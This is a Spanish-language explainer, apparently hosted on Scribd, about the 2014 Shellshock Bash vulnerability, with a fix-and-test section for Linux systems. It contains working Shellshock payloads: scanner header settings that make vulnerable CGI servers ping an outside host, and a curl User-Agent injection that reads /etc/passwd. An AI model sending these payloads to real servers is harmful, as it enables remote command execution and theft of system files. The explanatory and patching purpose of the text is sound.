0% encontró este documento útil (0 votos)
43 vistas2 páginas

Vulnerabilidad Shellshock en Bash: Guía de Protección

Shellshock Bash bug explicado

Cargado por

J PM
Derechos de autor
© All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como TXT, PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
43 vistas2 páginas

Vulnerabilidad Shellshock en Bash: Guía de Protección

Shellshock Bash bug explicado

Cargado por

J PM
Derechos de autor
© All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como TXT, PDF, TXT o lee en línea desde Scribd

El 24 de septiembre del 2014 se publicó una vulnerabilidad llamada Shellshock bash

bug, realmente es algo muy grave porque existen muchos sistemas que utilizan bash.

Ejemplos prácticos de la vulnerabilidad

Básicamente sistemas unix, linux y macos se ven afectados principalmente, este bug
lo que permite hacer al atacante es ejecutar comando en el Bash de manera remota,
Robert Graham nos pone el siguiente ejemplo.

El siguiente request es ejecutado en algunos servidores usando CGI, CGI


internamente utiliza bash, por lo tanto el sitio es vulnerable:

target-ip = [Link]/0
port = 80
banners = true
http-user-agent = shellshock-scan ([Link]
[Link])
http-header[Cookie] = () { :; }; ping -c 3 [Link]
http-header[Host] = () { :; }; ping -c 3 [Link]
http-header[Referer] = () { :; }; ping -c 3 [Link]

Al realizar ese request a un servidor vulnerable, prácticamente estaríamos


ejecutando el comando "ping" en ese servidor! Imaginen si en lugar de hacer un ping
comenzamos a exponer información privada:

$ curl -A "() { foo;};echo;/bin/cat /etc/passwd"


[Link]

También se podría escribir al programa que se propagara automáticamente, realmente


las posibilidades son infinitas, es algo muy serio.
Que sucede realmente?

El problema sucede porque bash interpreta el código inyectado al termino de una


función, esto cuando se define una variable de entorno, en los ejemplos anteriores
la función no hace absolutamente nada:

(){:;};

Es simplemente una definición, lo que viene después de esa función es lo que


realmente es el problema, ya que bash ejecutará ese código! Por ejemplo esto:

/bin/cat /etc/passwd > dumped_file

Es algo realmente serio, poder ejecutar comandos de manera remota en nuestro


sistema. Muchos servidores Apache, principalmente, utilizan CGI internamente, CGI
por su parte utiliza bash, es por eso que en el request del ejemplo anterior
termina ejecutándose en el sistema vulnerable.
Como me protejo?

Ahora bien, para saber si tu sistema es vulnerable ejecuta el siguiente comando en


tu terminal.

$ env x='() { :;}; echo vulnerable' bash -c 'echo hello'

Si te aparece un error, entonces estas protegido, pero si te aparece la palabra


vulnerable, deberías actualizar bash en tu sistema cuanto antes.
Para sistemas linux ya hay una actualización disponible, en sistemas Ubuntu, Debian
y semejantes, simplemente ejecuta el siguiente comando:

$ sudo apt-get update && sudo apt-get install --only-upgrade bash

Para sistemas CentOS, Fedora, RedHat y semejantes utiliza el siguiente comando:

$ yum -y update bash

Tristemente para mac todavía no hay una actualización, aunque estoy seguro de que
ya trabajan en ella, si eres paranoico puedes seguir esta guia para actualizar
bash.

Personalmente he actualizado mis servidores, tan pronto como me entere de esta


noticia! Así que te recomiendo hacer lo mismo.

[Link]

También podría gustarte